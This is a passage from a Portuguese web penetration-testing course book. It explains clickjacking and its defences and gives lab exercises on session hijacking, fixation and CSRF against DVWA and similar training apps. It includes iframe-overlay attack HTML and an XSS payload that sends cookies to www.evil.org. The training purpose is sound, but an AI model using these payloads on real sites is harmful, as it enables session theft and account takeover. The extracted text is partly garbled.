alternativamente ser quebrada por clickjacking, caso a aplicao no seja vulnervel a

158
cross-site scripting. Para isso, porm, deve ser possvel ao atacante preencher os campos do
formulrio, como no caso do Twitter, em que a tarefa realizada por meio de valores
passados na URL.

Como esse mtodo no funciona, em muitos casos, outras tcnicas devem ser consideradas
para viabilizao do ataque.

Um grande avano consiste no uso das funcionalidades disponibilizadas pelos nave- q


gadores para arrastar objetos e solt-los nos lugares desejados em substituio s
operaes de copiar e colar (Stone, 2010). Isso permite, dentre outras coisas, selecionar
palavras, presentes no documento, e arrast-las para dentro de um campo textual,
API de modo a preench-lo. Empregando a API drag-and-drop, padronizada em HTML5,
Application pode-se definir os dados, no incio da operao de arrastamento, que devem ser
Programming Interface. copiados quando o mouse liberado.
Especifica a interface de
um conjunto de rotinas, Uma caracterstica chave desse mecanismo que ele no se sujeita poltica de mesma
descrevendo, para cada origem, permitindo, na maioria dos navegadores, que dados sejam arrastados entre
uma delas, o nome, os
parmetros de chamada, pginas de domnios diferentes, sem restries (Stone, 2010).
o tipo do retorno e a A justificativa para esse comportamento fundamenta-se na impossibilidade de tais eventos
ao realizada.
serem iniciados, programaticamente, por scripts sendo executados no navegador web. Em
outras palavras, toda operao de arrastamento deve ser realizada deliberadamente pelo
usurio, eliminando, portanto, a aplicabilidade da supracitada poltica.

Os passos seguintes resumem a tcnica descrita por Stone (2010) para efetivao do ataque:

1. A vtima induzida a arrastar um objeto visvel de um ponto A a um ponto B da tela.

2. Quando a operao de arrastamento iniciada, um script define o texto que deve ser
copiado para o campo de formulrio destino, o qual no fica visvel para o usurio.

3. No momento em que a pessoa solta o objeto, o dado desejado copiado para o campo alvo.

4. O processo deve ser orquestrado de modo que todos os campos necessrios sejam
preenchidos.

Para uma melhor compreenso do clickjacking e das evolues recentes que sofreu,
considere a aplicao DVWA, ilustrada na Figura 4.16. A pgina apresentada tem o objetivo
de permitir a troca de senha, mas sem solicitar o valor anterior ao usurio. Isso facilita a
Figura 4.16 ocorrncia de um ataque de cross-site request forgery, que combatido, por meio de um
Aplicao DVWA mecanismo baseado em tokens anti-CSRF, includo na verso original do software, para o
modificada, para
incluir token presente exemplo. Outra modificao realizada visa permitir a submisso do formulrio via
Captulo 4 - Teste do gerenciamento de sesses

anti-CSRF. mtodo POST, alm do GET suportado originalmente.

159
Considerando que a aplicao no seja vulnervel a cross-site scripting, o ataque clickjacking
deve ser empregado, para explorar o problema de cross-site request forgery. Com esse
objetivo, a vtima, uma vez autenticada no DVWA, deve ser induzida a acessar uma pgina
do atacante, como a apresentada na Figura 4.17. O disfarce utilizado, nesse cenrio, consiste
em um jogo de perguntas, no qual o usurio deve arrastar elementos da primeira para a
segunda coluna.

Observe que a disposio dos elementos na coluna de respostas muito similar dos Figura 4.17
campos da aplicao alvo. Evidentemente, isso no obra do acaso, mas, sim, resultado de Aplicao visvel do
ataque clickjacking.
um desenho cuidadoso, para que ocorra o alinhamento dos objetos, quando sobrepostos.
Como o DVWA deve receber o evento de liberao do boto do mouse, necessrio que seja
carregado no iframe superior. Porm, este no pode cobrir toda a rea visvel da tela, seno
o evento que sinaliza o incio do arrastamento no recebido pela aplicao debaixo dele.
Desse modo, a rea que deve ser coberta corresponde somente aos dois campos de
resposta mais o boto, conforme pode ser visualizado na Figura 4.18.

Note que a parte exibida do DVWA, na sobreposio, fica originalmente no meio da pgina, Figura 4.18
embora ocupe o canto superior do iframe. Isso implica que o contedo precisou ser Sobreposio da
Teste de Invaso de Aplicaes Web

aplicao de per-
posicionado dentro do recorte, de modo a se obter o alinhamento dos elementos. Mas como guntas pelo DVWA.
isso possvel? Sabe-se que um script carregado a partir do site malicioso no tem per-
misso para manipular o documento dentro do iframe, devido poltica de mesma origem.
Porm, como o iframe em si um objeto oriundo do mesmo domnio, ele, sim, pode ser
posicionado, na pgina de perguntas. Embora isso seja um passo em direo soluo,
ainda no suficiente para atender a demanda, pois um iframe maior precisaria ser
definido, o que cobriria outras regies da tela e impediria a correta captura de eventos.

O truque, ento, consiste em definir uma seo do documento HTML, por meio do marcador
<div>, que cubra exatamente a rea desejada. O posicionamento e o tamanho so obtidos

160
por meio de uma folha de estilo, cujo atributo overflow deve ser definido com o valor
hidden, para que o contedo que extravase a regio especificada no seja exibido. Dentro
dessa diviso, define-se um iframe invisvel, no qual a aplicao DVWA carregada, com
tamanho suficiente para a regio de interesse ser visualizada, sem cortes, e posicionado de
modo que os campos das duas aplicaes fiquem alinhados. O cdigo HTML correspondente
a essa soluo encontra-se documentado na Figura 4.19.

<div style=position:absolute;left:190px;top:50px;height:100px;

width:200px;overflow:hidden>

<iframe id=ifa src=http://dvwa.esr.rnp.br/vulnerabilities/


csrf/

style=position:absolute;left:-300px;top:-208px;

height:1000px;width:1000px;opacity:0.50

scrolling=no>
Figura 4.19
Cdigo HTML para </iframe>
sobreposio de
iframe, com posicio- </div>
namento e recorte.

Falta, agora, descrever o mecanismo utilizado para injetar contedo nos campos textuais,
por meio do arrastamento de objetos. Na Figura 4.18, os textos 1. RSA e 2. AES esto con-
tidos em divises separadas do documento HTML, especificadas pelo marcador <div>. Cada
uma delas define o atributo draggable com o valor true, para que o objeto textual possa ser
arrastado pelo usurio, alm de cdigo Javascript para tratamento dos eventos dragstart e
dragend. O primeiro ocorre, no incio do arrastamento, quando o valor a ser copiado deve
ser definido, por meio do comando event.dataTransfer.setData(). J o ltimo acontece, ao final
da operao, e deve resultar no preenchimento do campo de resposta, com o nmero esco-
lhido. A Figura 4.20 ilustra o cdigo HTML do primeiro elemento.

<div id=f1

style=position:absolute;left:10px;top:60px

draggable=true

ondragstart=event.dataTransfer.setData(text/plain,pwd) Captulo 4 - Teste do gerenciamento de sesses

ondragend=if (Y < 90) {

document.forms[fd].elements[r1].value=1;

} else {

document.forms[fd].elements[r2].value=1;}>
Figura 4.20
Cdigo HTML para 1. RSA
sobreposio de
iframe, com posicio- </div>
namento e recorte.

161
Uma maneira de evitar o ataque clickjacking, introduzida pela Microsoft, consiste na q
utilizao do cabealho HTTP X-FRAME-OPTIONS, que indica ao navegador web em que
condies uma dada pgina pode ser carregada em um frame. Um valor DENY probe
completamente que isso acontea, enquanto que um valor SAMEORIGIN permite o
carregamento, desde que o contexto de navegao de mais alto nvel seja exatamente
o mesmo que o do contedo, para o qual a diretiva X-FRAME-OPTIONS foi definida
(Rydstedt et al., 2010).

Uma desvantagem do mtodo, que pode ser citada, resume-se na necessidade de ter de
especificar o cabealho para todas as pginas da aplicao, impactando com isso o processo
de desenvolvimento.

Outra tcnica, chamada de frame busting, verifica, por meio de scripts, se a pgina est q
sendo carregada em um frame e, em caso positivo, redireciona o objeto window de mais
alto nvel, para ela prpria.

O cdigo que realiza essa tarefa, normalmente, composto por um comando condicional e
uma contramedida, como o ilustrado abaixo (Rydstedt, 2010):

if (top.location != location)

top.location = self.location;

O cdigo apresentado, embora comumente utilizado, pode ser quebrado por meio do atri-
buto sandbox do iframe, que desabilita Javascript, e por diversos outros mtodos (Rydstedt,
2010; Kuppan, 2010), como o tratamento do evento onBeforeUnload, disparado antes de
uma pgina ser descarregada. Como as tcnicas para quebrar frame busting consistem em
evitar que o cdigo Javascript seja executado, a estratgia de proteo deve ser invertida.
Assim, em vez de tomar uma ao, quando a pgina carregada em um frame, deve-se,
por padro, exibir uma pgina em branco e somente mostrar o documento original, caso o
cdigo de proteo no esteja executando no contexto de um frame.

Seguindo a ideia acima, a Figura 4.21 ilustra uma das solues mais eficazes de frame
busting, proposta por Rydstedt (2010). Note que, por meio de uma folha de estilo, a pro-
priedade display empregada para determinar que a pgina no deve gerar uma caixa CSS
e, assim, no deve ser exibida. Caso Javascript possa ser executado, o script verifica se o
documento HTML est sendo carregado na janela de mais alto nvel. Em caso positivo, a
propriedade display alterada para o valor block, que gera uma caixa rodeada por quebras
de linha, causando a exibio da pgina escondida; se no, ela aberta programaticamente
na janela principal, por meio do cdigo top.location = self.location. Finalmente, se Javascript
estiver desabilitado, nenhum cdigo executado, deixando a pgina no estado inicial e
seguro, em que nada exibido.
Teste de Invaso de Aplicaes Web

<style>

html {display:none;}

</style>

<script>

if (self == top) {

document.documentElement.style.display = block;

} else {

162
top.location = self.location;

</script>

Considerando o princpio de defesa em camadas, convm utilizar, simultaneamente, o cabe-


alho HTTP X-FRAME-OPTIONS e o mtodo de frame busting, com o objetivo de minimizar o
risco de a aplicao ser explorada, por meio de clickjacking. Estratgias desse tipo so muito
importantes, porque nunca possvel garantir, com certeza absoluta, que um dado controle
completamente eficaz. Desse modo, caso um deles falhe, o atacante ainda precisa superar
os demais obstculos inseridos na aplicao para conseguir alguma vantagem relevante.

Finalmente, para verificar se uma aplicao qualquer vulnervel a clickjacking, basta q


tentar carreg-la em um iframe, conforme ilustrado no exemplo abaixo:

<iframe src=http://dvwa.esr.rnp.br sandbox></iframe>

Se o sistema no impedir que isso acontea, possvel afirmar que ele susceptvel ao ataque.

Contramedidas
De modo a evitar defeitos de segurana no mecanismo de gerenciamento de sesses de q
uma aplicao web, os seguintes controles devem ser adotados (Stuttard e Pinto, 2007;
Siles, 2011; Kolek, 2007; Rydstedt, 2010):

1 No crie esquemas de gerenciamento de sesses prprios. Em vez disso, utilize os for-


necidos pelas linguagens e arcabouos utilizados no desenvolvimento da aplicao.

1 Certifique-se de que os identificadores de sesso utilizados possuem boa aleatorie-


dade e comprimento mnimo adequado.

1 Empregue o protocolo HTTPS durante toda a sesso de usurio.


1 Utilize os atributos secure e HttpOnly, para todos os cookies definidos pela apli-
cao, de modo a proteg-los durante a transmisso e contra-acessos de cdigos no
lado do cliente.

1 No utilize os atributos domain e path, para nenhum dos cookies definidos pela apli-
cao. Isso faz com que, automaticamente, os valores mais restritivos sejam adotados.

1 Crie domnios de nomes separados para as aplicaes crticas e as menos relevantes,


de modo que cookies de domnio no possam ser compartilhados.

1 Nunca aceite identificadores de sesso definidos pelo usurio. Caso isso acontea, Captulo 4 - Teste do gerenciamento de sesses

envie resposta com um novo valor.

1 Sempre que houver mudana no nvel de acesso aplicao, um novo identificador


de sesso deve ser definido e o antigo, invalidado.

1 Associe cada identificador de sesso, no momento da criao, a propriedades da conexo,


como o endereo IP de origem, por exemplo. Verifique, nas requisies subsequentes, se
tais propriedades no foram alteradas, o que poderia indicar um comprometimento.

1 Em modelos de gerenciamento de sesso estrito, se possvel, defina um identificador


de sesso somente aps a autenticao do usurio. O objetivo desse controle difi-
cultar ataques de fixao de sesso, obrigando o usurio malicioso a possuir creden-
ciais vlidas de acesso aplicao.

1 Inclua uma opo de encerramento de sesso em toda pgina acessvel somente a


usurios autenticados.

163
1 Encerre as sesses, automaticamente, aps um determinado perodo de ociosidade e q
depois de transcorrido um tempo total mximo de uso.

1 Quando o usurio se desconectar da aplicao, invalide o identificador de sesso


associado a ele, no lado do servidor. Para isso, a funo especfica do arcabouo de
gerenciamento de sesses empregado deve ser chamada.

1 No permita que um mesmo usurio estabelea mltiplas sesses paralelas, visando


impedir o compartilhamento de senhas e dificultar o acesso de usurios maliciosos.

1 Adicione tokens anti-CSRF a todas as pginas, gerando-os em funo da URL, do iden-


tificador de sesso, do nome da conta do usurio e de um segredo conhecido apenas
pelo sistema.

1 Solicite que o usurio se reautentique, antes que operaes crticas sejam realizadas.
Desse modo, caso uma requisio seja feita automaticamente, como parte de um
CSRF, a operao somente finalizada com anuncia humana.

1 Utilize o mtodo POST em vez de GET. Embora isso no seja, nem de longe, uma
soluo completa contra CSRF, dificulta um pouco a vida do atacante eventual.

1 No permita que o navegador armazene credenciais de acesso, para que no sejam


enviadas automaticamente em um cross-site request forgery.

1 No utilize o mesmo navegador para acessar sistemas crticos e navegar na internet.


1 Especifique o cabealho HTTP X-FRAME-OPTIONS para todas as pginas da aplicao.
1 Empregue a tcnica de frame busting, para evitar que a aplicao web seja carregada
em um frame de uma pgina originria de outro site web.
Teste de Invaso de Aplicaes Web

164
Roteiro de Atividades 4
Atividade 1 Introduo ao gerenciamento de sesses
Esta atividade tem por objetivo introduzir os mecanismos de gerenciamento de sesses
usados pelas aplicaes web, para suprir a deficincia apresentada pelo protocolo HTTP
nessa arena. Para inici-la, carregue as mquinas virtuais do aluno e do servidor (Fedora) e
execute os roteiros na primeira delas.

Identificao do tipo de gerenciamento de sesses


O primeiro passo, para testar um esquema de gerenciamento de sesses, entender como
so transportados os identificadores de sesso. Neste exerccio, o leitor identificar como
isso realizado em diversas aplicaes web.

1. Inicie o WebScarab, presente no menu Aplicativos\Curso Ferramentas.

2. Clique na aba Proxy, depois em Manual Edit e, por fim, desmarque a opo Intercept requests.

3. Inicie o Firefox, presente no menu Aplicativos\Internet.

4. No Firefox, clique no Multiproxy Switch, na barra de estado, e selecione o WebScarab.

5. Acesse o DVWA, por meio da barra de atalhos.

6. No WebScarab, clique na aba Summary.

7. Role a janela at encontrar a coluna Set-Cookie e d um duplo clique na linha contendo


um valor.

8. Na parte inferior da janela de conversao, clique na aba Raw e observe como o cabe-
alho Set-Cookie foi definido.

9. Feche a janela de conversao.

10. Retorne ao Firefox e acesse o Bodgeit Store, por meio da barra de atalhos.

11. Repita os passos 6 a 9.

12. Retorne ao Firefox e acesse o site web do lugar em que trabalha.

13. Verifique no WebScarab que tipo de mecanismo utilizado para gerenciamento de sesso.

14. Encerre o WebScarab.

15. Encerre o Firefox.

Atividade 2 Descoberta de vulnerabilidades e explorao


Captulo 4 - Roteiro de Atividades

O propsito desta atividade introduzir ao aluno os mtodos que podem ser utilizados para a
descoberta e explorao de vulnerabilidades, em mecanismos de gerenciamento de sesses.
Todos os exerccios devem ser realizados na mquina virtual do aluno e altamente recomen-
dado que se tente traar a estratgia de explorao antes de seguir o roteiro fornecido.

165
Identificadores de sesso previsveis
O objetivo deste exerccio analisar a previsibilidade dos identificadores de sesso, com
auxlio das ferramentas WebScarab e Stompy, alm de realizar a engenharia reversa de um
mecanismo proprietrio de gerenciamento de sesso.

Parte I Anlise da qualidade dos identificadores de sesso WebScarab

1. Inicie o WebScarab, presente no menu Aplicativos\Curso Ferramentas.

2. Clique na aba Proxy, depois em Manual Edit e, por fim, desmarque a opo Intercept requests.

3. Inicie o Firefox, presente no menu Aplicativos\Internet.

4. No Firefox, clique no Multiproxy Switch, na barra de estado, e selecione o WebScarab.

5. Acesse o DVWA, por meio da barra de atalhos.

6. No WebScarab, clique na aba Summary.

7. Role a tela at encontrar a coluna Set-Cookie e anote o nmero da linha contendo o valor
PHPSESSID.

8. Clique na aba SessionID Analysis e, em seguida, na aba Collection.

9. Em Previous Requests, selecione a linha anotada no passo 7.

10. Clique no boto Test, observe os cookies que foram definidos e clique em Ok.

11. Digite 200 em Samples e clique em Fetch.

12. Clique na aba Analysis.

13. Em Session Identifier, selecione a linha contendo PHPSESSID.

14. Clique na aba Visualization e observe o grfico. Os identificadores de sesso so previsveis?

15. Retorne ao Firefox e acesse o WackoPicko, por meio da barra de atalhos.

16. Clique no link Admin, na parte inferior da tela.

17. Fornea admin para os campos Username e Password e clique em Submit.

18. No WebScarab, clique na aba Summary.

19. Role a tela at encontrar a coluna Set-Cookie e anote o nmero da linha contendo o
valor session.

20. D um duplo clique na linha para ver a requisio.

21. Clique na aba Raw.


Teste de Invaso de Aplicaes Web

22. Selecione a requisio inteira e pressione Ctrl + C.

23. Abra o gedit, localizado no menu Aplicativos\Acessrios.

24. Pressione Ctrl + V, para colar a requisio no gedit.

25. Pressione Ctrl + S, para salvar o arquivo no diretrio /tmp, usando o nome wacko.req, e
clique no boto Salvar.

26. Feche a janela do gedit.

27. Encerre a janela de conversao do WebScarab.

166
28. Repita os passos 8 a 12, mas considerando a linha anotada no passo 19.

29. Em Session Identifier, selecione a linha contendo session.

30. Clique na aba Visualization e observe o grfico. Os identificadores de sesso so previsveis?

Parte II Anlise da qualidade dos identificadores de sesso Stompy

31. Inicie uma janela de terminal.

32. Veja as opes do utilitrio Stompy:

~$ stompy

33. Digite o comando abaixo, para analisar os identificadores de sesso da aplicao DVWA:

~$ stompy http://dvwa.esr.rnp.br

34. Role a tela do terminal e analise o resultado. Qual o diagnstico da ferramenta?

35. Digite o comando abaixo, para analisar os identificadores de sesso da aplicao WackoPicko:

~$ stompy -p /tmp/wacko.req http://wackopicko.esr.rnp.br

36. Role a tela do terminal e analise o resultado. Qual o diagnstico da ferramenta?

37. Encerre a janela de terminal.

Parte III Engenharia reversa de identificadores de sesso

38. Acesse o WebGoat, por meio do Firefox, clicando na barra de atalhos.

39. Digite as credenciais guest/guest e clique em Ok.

40. Clique no boto Start WebGoat.

41. No menu do lado esquerdo, clique em Session Management Flaws.

42. Clique em Spoof an Authentication Cookie.

43. Na tela que aparece, autentique-se com webgoat/webgoat e veja a mensagem Welcome, webgoat.

44. No WebScarab, clique em Summary.

45. Role a tela at encontrar a coluna Set-Cookie e d um duplo clique na linha de maior
nmero contendo o valor AuthCookie.

46. Anote o valor do cabealho Set-Cookie, contido na parte inferior da tela.

47. Encerre a janela de conversao.


Captulo 4 - Roteiro de Atividades

48. Retorne ao Firefox e clique no link Logout, acima de Refresh.

49. Autentique-se, agora, com aspect/aspect e veja a nova mensagem de boas-vindas.

50. Repita os passos 44 a 47.

51. Clique na aba Proxy e marque Intercept requests.

52. Iniciando a engenharia reversa dos identificadores, observe que as cinco primeiras posi-
es so constantes e correspondem ao nmero 65432.

167
53. Qual a relao entre os tamanhos da parte composta por letras e do respectivo identifi-
cador de usurio?

54. Existe alguma letra que se repete nos identificadores de usurio? E nos identificadores
de sesso?

55. Como fica o identificador de sesso para alice?

56. Retorne ao Firefox e clique no link Refresh.

57. Clique na aba Raw.

58. Troque o valor de AuthCookie, no cabealho Cookie, para o determinado no passo 55.

59. Clique em Accept Changes.

60. Retorne ao Firefox e veja a mensagem exibida.

61. Encerre o WebScarab.

62. No Firefox, clique no Multiproxy Switch, na barra de estado, e selecione None.

63. Encerre o Firefox.

Domnio de identificadores de sesso com baixa cardinalidade


Quando os identificadores de sesso so selecionados a partir de conjuntos que contm
poucos elementos, fica fcil descobrir elementos vlidos que tenham sido atribudos a conver-
saes ativas, mesmo que a escolha seja aleatria. O objetivo deste exerccio analisar uma
sequncia de valores, por meio do Stompy, para verificar a entropia da amostra coletada.

1. Inicie uma janela de terminal.

2. Acesse o diretrio Arquivos do curso/sessao-04:

~$ cd /home/esruser/Arquivos\ do\ Curso/sessao-04

3. Veja o contedo do arquivo ids.txt:


Teste de Invaso de Aplicaes Web

~$ less ids.txt

4. Analise o arquivo com o Stompy:

~$ stompy -R ids.txt

5. Role a janela de terminal e veja a sada do utilitrio. Qual o diagnstico fornecido?

6. Encerre a janela de terminal.

168
Transmisso em claro de identificador de sesso
O objetivo deste exerccio capturar o identificador de sesso, por meio da escuta dos pacotes
de rede, em um cenrio em que nenhuma proteo utilizada no transporte de informaes.

1. Inicie o Firefox, presente no menu Aplicativos\Internet.

2. Inicie o Wireshark, presente no menu Aplicativos\Curso Ferramentas. Para conseguir cap-


turar os pacotes, a aplicao deve ser executada em modo privilegiado e, por isso, uma
senha ser solicitada. Digite esruser e clique em Ok.

3. Clique no primeiro cone da barra de ferramentas, para listar as interfaces de rede dis-
ponveis para captura. Na caixa de dilogo que aparece, clique em Options da linha eth1.
Em seguida, no campo Capture filter, digite tcp port http e clique em Start, para iniciar a
captura de pacotes.

4. Acesse com o Firefox o DVWA, a partir da barra de atalhos.

5. Pare a captura de pacotes no Wireshark, clicando no quarto boto da barra de ferra-


mentas (Stop the running live capture).

6. Procure pela linha contendo HTTP/1.1 302 Found e a selecione.

7. Na segunda parte da tela, expanda o item Hypertext Transfer Protocol e procure pelo
cabealho Set-Cookie. Observe que o cookie PHPSESSID transmitido em claro.

8. Encerre o Wireshark e o Firefox.

Manipulao de identificador de sesso por meio de scripts


Neste exerccio, o aluno acessar o identificador de sesso por meio de scripts no lado
cliente da aplicao.

1. Inicie o Firefox, presente no menu Aplicativos\Internet.

2. Acesse o DVWA, a partir da barra de atalhos.

3. Fornea para os campos Username e Password, respectivamente, os valores admin e


password, para se autenticar no sistema.

4. No menu de opes, clique em XSS reflected.

5. Digite no campo Whats your name o valor:

<script>alert(document.cookie)</script>

6. Clique em Submit e veja a caixa de mensagem exibida.

7. Clique em Ok.
Captulo 4 - Roteiro de Atividades

8. Digite no campo Whats your name o valor:

<script>document.write(<img src=http://www.evil.org/?SID=+ 8

document.cookie+ "/> )</script>

9. Clique em Submit.

10. Pressione Ctrl + N, para abrir uma nova janela do Firefox.

11. Acesse o arquivo de trilhas de auditoria do servidor www.evil.org, por meio da URL:
http://www.evil.org/logs/evil.org-access_log

169
12. Procure o registro da requisio realizada pelo elemento <img> injetado no passo 8.
O valor do cookie o mesmo que o identificado no passo 5?

13. Encerre o Firefox.

Atributos de cookies
O propsito deste exerccio fixar os conceitos sobre os atributos que podem ser utilizados
por cookies e o impacto que tm em segurana.

1. Inicie o WebScarab, presente no menu Aplicativos\Curso Ferramentas.

2. Clique na aba Proxy, depois em Manual Edit e, por fim, desmarque a opo Intercept requests.

3. Inicie o Firefox, presente no menu Aplicativos\Internet.

4. No Firefox, clique no Multiproxy Switch, na barra de estado, e selecione o WebScarab.

5. Acesse https://cookies.esr.rnp.br/. O Firefox exibe uma mensagem de erro, porque o


WebScarab realiza um man-in-the-middle, para conseguir interceptar o trfego HTTPS.

6. Clique em I Understand the Risks.

7. Clique em Add Exception.

8. Desmarque Permanently store this exception e clique em Confirm Security Exception.

9. Clique no link Atributo secure.

10. No WebScarab, clique na aba Summary e role a janela at a coluna Set-Cookie. Veja que
um cookie ESRSID foi definido.

11. Retorne ao Firefox e clique em Acesso via HTTPS.

12. No WebScarab, veja que o cookie ESRSID foi enviado.

13. No Firefox, retorne pgina anterior e clique em Acesso via HTTP.

14. Verifique, no WebScarab, que o cookie no foi enviado, porque o navegador honrou o
atributo secure.

15. Retorne duas pginas no Firefox, para acessar novamente a pgina inicial.

16. Clique no link Atributo HttpOnly.

17. Veja no WebScarab que um novo cookie, ESRSIDHO, foi definido.

18. Retorne ao Firefox e clique em Ler Cookie. Os dois cookies so exibidos?

19. Clique em Criar Novo Cookie e, depois, novamente em Ler Cookie. Veja que um cookie
Teste de Invaso de Aplicaes Web

foi adicionado.

20. Acesse o menu Tools e clique em Cookie editor. Veja que h dois cookies com o nome
ESRSIDHO e encerre a janela do complemento.

21. Pressione Alt +[Seta para esquerda], para retornar pgina anterior.

22. Clique no link Atributo Domain.

23. Veja, por meio do Add N Edit Cookie, que um novo cookie, ESRSIDDO, foi definido.

24. Clique no link Domnio exemplo.esr.rnp.br.

170
25. Veja no WebScarab que o cookie ESRSIDDO foi enviado.

26. No Firefox, retorne pgina anterior e clique em Domnio other.rnp.br.

27. Veja pela mensagem de erro que nenhum cookie foi enviado pelo navegador.

28. Pressione Alt +[Seta para esquerda] duas vezes.

29. Clique no link Atributo Path.

30. Veja, por meio do Add N Edit Cookie, que um novo cookie, ESRSIDPA, foi definido.

31. Clique no link Subdiretrio da pasta path.

32. No WebScarab, veja que o cookie ESRSIDPA foi enviado.

33. No Firefox, retorne pgina anterior e clique em Outro diretrio.

34. Veja no WebScarab que o cookie ESRSIDPA no foi enviado.

35. Encerre o WebScarab.

36. No Firefox, clique no Multiproxy Switch, na barra de estado, e selecione None.

37. Encerre o Firefox.

Sequestro de sesso
Uma vez descoberto o identificador de uma sesso vlida, o prximo passo consiste no
sequestro dessa sesso. Neste exerccio, o leitor ver como isso pode ser realizado.

1. Inicie o Google Chrome, presente no menu Aplicativos\Curso Ferramentas.

2. Inicie o Wireshark, presente no menu Aplicativos\Curso Ferramentas. Para conseguir cap-


turar os pacotes, a aplicao deve ser executada em modo privilegiado e, por isso, uma
senha ser solicitada. Digite esruser e clique em Ok.

3. Clique no primeiro cone da barra de ferramentas para listar as interfaces de rede dis-
ponveis para captura. Na caixa de dilogo que aparece, clique em Options da linha eth1.
Em seguida, no campo Capture filter, digite tcp port http e clique em Start, para iniciar a
captura de pacotes.

4. Retorne ao Google Chrome e acesse http://dvwa.esr.rnp.br

5. Autentique-se fornecendo admin e password para os campos Username e Password,


respectivamente.

6. No Wireshark, procure pelo ltimo GET e anote o PHPSESSID.

7. Inicie o Firefox, presente no menu Aplicativos\Curso Ferramentas.

8. Acesse o DVWA, digitando a URL:


Captulo 4 - Roteiro de Atividades

http://dvwa.esr.rnp.br/vulnerabilities/xss_r/

Veja que a aplicao o redireciona para a tela de autenticao.

9. Clique no menu Tools e em Cookie Editor.

10. Selecione o cookie PHPSESSID definido para o domnio dvwa.esr.rnp.br e clique em Edit.

11. Altere o campo Content para o valor anotado no passo 6 e clique em Save.

12. Tente novamente o acesso do passo 8. O que aconteceu?

171
13. Encerre o Wireshark, o Google Chrome e o Firefox.

Fixao de sesso
Diferentemente de um sequestro de sesso, no qual o usurio malicioso precisa descobrir
um identificador de sesso vlido, no ataque de fixao de sesso utiliza-se um valor j
conhecido. Nesta prtica, o leitor aprender a detectar aplicaes vulnerveis a esse tipo de
ataque e como o defeito pode ser explorado.

Parte I Deteco de aplicao vulnervel

1. Inicie o Firefox, presente no menu Aplicativos\Curso Ferramentas.

2. Acesse o DVWA, a partir da barra de atalhos.

3. Clique no menu Tools e em Cookie Editor.

4. Anote o valor do cookie PHPSESSID definido para dvwa.esr.rnp.br.

5. Feche a janela do Add N Edit Cookies.

6. Autentique-se no DVWA, fornecendo as credenciais admin e password.

7. Clique no menu Tools e em Cookie Editor.

8. Compare contra o valor anterior o cookie PHPSESSID definido para dvwa.esr.rnp.br.


A aplicao vulnervel fixao de sesso?

9. Encerre o Add N Edit Cookies.

Parte II Explorao

10. Clique na opo Logout do DVWA.

11. Clique no menu Tools e em Cookie Editor.

12. Selecione, no Add N Edit Cookies, o cookie PHPSESSID e clique em Edit.

13. Substitua o valor do campo Content para 12345 e clique em Save.

14. Encerre a janela do Add N Edit Cookies.

15. Autentique-se na aplicao com as credenciais admin e password.

16. Clique no menu Tools e em Cookie Editor.

17. Verifique o valor de PHPSESSID. O ataque possvel? O mecanismo de gerenciamento de


sesses estrito ou permissivo?
Teste de Invaso de Aplicaes Web

18. Encerre o Add N Edit Cookies.

19. Feche a janela do Firefox.

Encerramento vulnervel de sesso


O objetivo deste exerccio aprender como explorar aplicaes que no encerram correta-
mente uma sesso de usurio.

1. Inicie o Firefox, presente no menu Aplicativos\Curso Ferramentas.

172
2. Acesse o Gruyere, a partir da barra de atalhos.

3. Clique em Sign in.

4. Autentique-se com as credenciais esruser/esruser.

5. Clique no menu Tools e em Cookie Editor.

6. Anote o valor do cookie GRUYERE.

7. Encerre a janela do Add N Edit Cookies.

8. Clique em Sign out.

9. Clique em Home e veja que a pgina permanece no estado no autenticado.

10. Clique no menu Tools e em Cookie Editor.

11. Selecione o cookie GRUYERE e clique em Edit.

12. Altere o valor do campo Content para o anotado no passo 6.

13. Clique em Save e encerre a janela do Add N Edit Cookies.

14. Clique em Home novamente. O que acontece?

15. Encerre a janela do Firefox.

Sesses simultneas de um mesmo usurio


Embora o compartilhamento de contas de usurio no seja recomendvel, comum que os
sistemas nada faam para impedir tal comportamento inseguro. Neste exerccio, o aluno
testar uma aplicao para verificar se ela impe limites no nmero de sesses paralelas de
um mesmo usurio.

1. Inicie o Firefox, presente no menu Aplicativos\Curso Ferramentas.

2. Acesse o DVWA, a partir da barra de atalhos.

3. Autentique-se com as credenciais admin e password.

4. Inicie o Google Chrome, presente no menu Aplicativos\Curso Ferramentas.

5. Acesse o DVWA, digitando a URL http://dvwa.esr.rnp.br na barra de endereos.

6. Autentique-se com as mesmas credenciais utilizadas no passo 3. O sistema permitiu o acesso?

7. Encerre as janelas do Google Chrome e do Firefox.

Cross-site request forgery


Captulo 4 - Roteiro de Atividades

O objetivo deste exerccio consiste na explorao de cross-site request forgery, baseado


em mtodo GET e em mtodo POST. Tambm ser abordado o mecanismo de proteo que
utiliza tokens anti-CSRF.

Parte I CSRF com mtodo GET

1. Inicie o Firefox, presente no menu Aplicativos\Curso Ferramentas.

2. Acesse o DVWA, a partir da barra de atalhos.

3. Autentique-se com as credenciais admin e password.

173
4. Clique na opo de menu CSRF.

5. Observe que a aplicao no pede a senha atual para substitu-la por um novo valor.

6. Pressione Ctrl + U e analise o cdigo HTML da pgina, principalmente a estrutura do formu-


lrio para alterao de senha. Existe algum item que seja dependente da sesso do usurio?

7. Pressione Ctrl + N, para abrir uma nova janela do Firefox.

8. Acesse http://www.evil.org/get/get.html.

9. Retorne ao DVWA e clique em Logout.

10. Tente se autenticar novamente com as mesmas credenciais.

11. Tente, agora, com as credenciais admin e pwd. Note que a senha foi alterada em decor-
rncia da visita ao site www.evil.org.

12. Retorne janela do site www.evil.org.

13. Pressione Ctrl + U, para ver o cdigo HTML. Veja que a pgina csrf.html carregada em
um iframe com opacidade 0.00.

14. Feche a janela de visualizao de cdigo HTML.

15. Acesse a pgina http://www.evil.org/get/csrf.html.

16. Pressione Ctrl + U, para ver o cdigo HTML. Como a operao de troca de senha reali-
zada automaticamente?

17. Encerre a janela de visualizao de cdigo HTML.

18. Retorne ao DVWA, acesse a opo CSRF e altera a senha para password novamente.

Parte II CSRF com mtodo POST

19. Retorne janela do site www.evil.org.

20. Acesse http://www.evil.org/post/post.html.

21. Retorne ao DVWA e clique em Logout.

22. Autentique-se com as credenciais admin e password.

23. Tente, agora, com as credenciais admin e pwd. Note que a senha foi alterada em decor-
rncia da visita ao site www.evil.org.

24. Retorne janela do site www.evil.org.

25. Pressione Ctrl + U, para ver o cdigo HTML. Veja que a pgina csrf.html carregada em
Teste de Invaso de Aplicaes Web

um iframe com opacidade 0.00.

26. Feche a janela de visualizao de cdigo HTML.

27. Acesse a pgina http://www.evil.org/post/csrf.src.html, para ver o cdigo HTML da pgina


csrf.html.

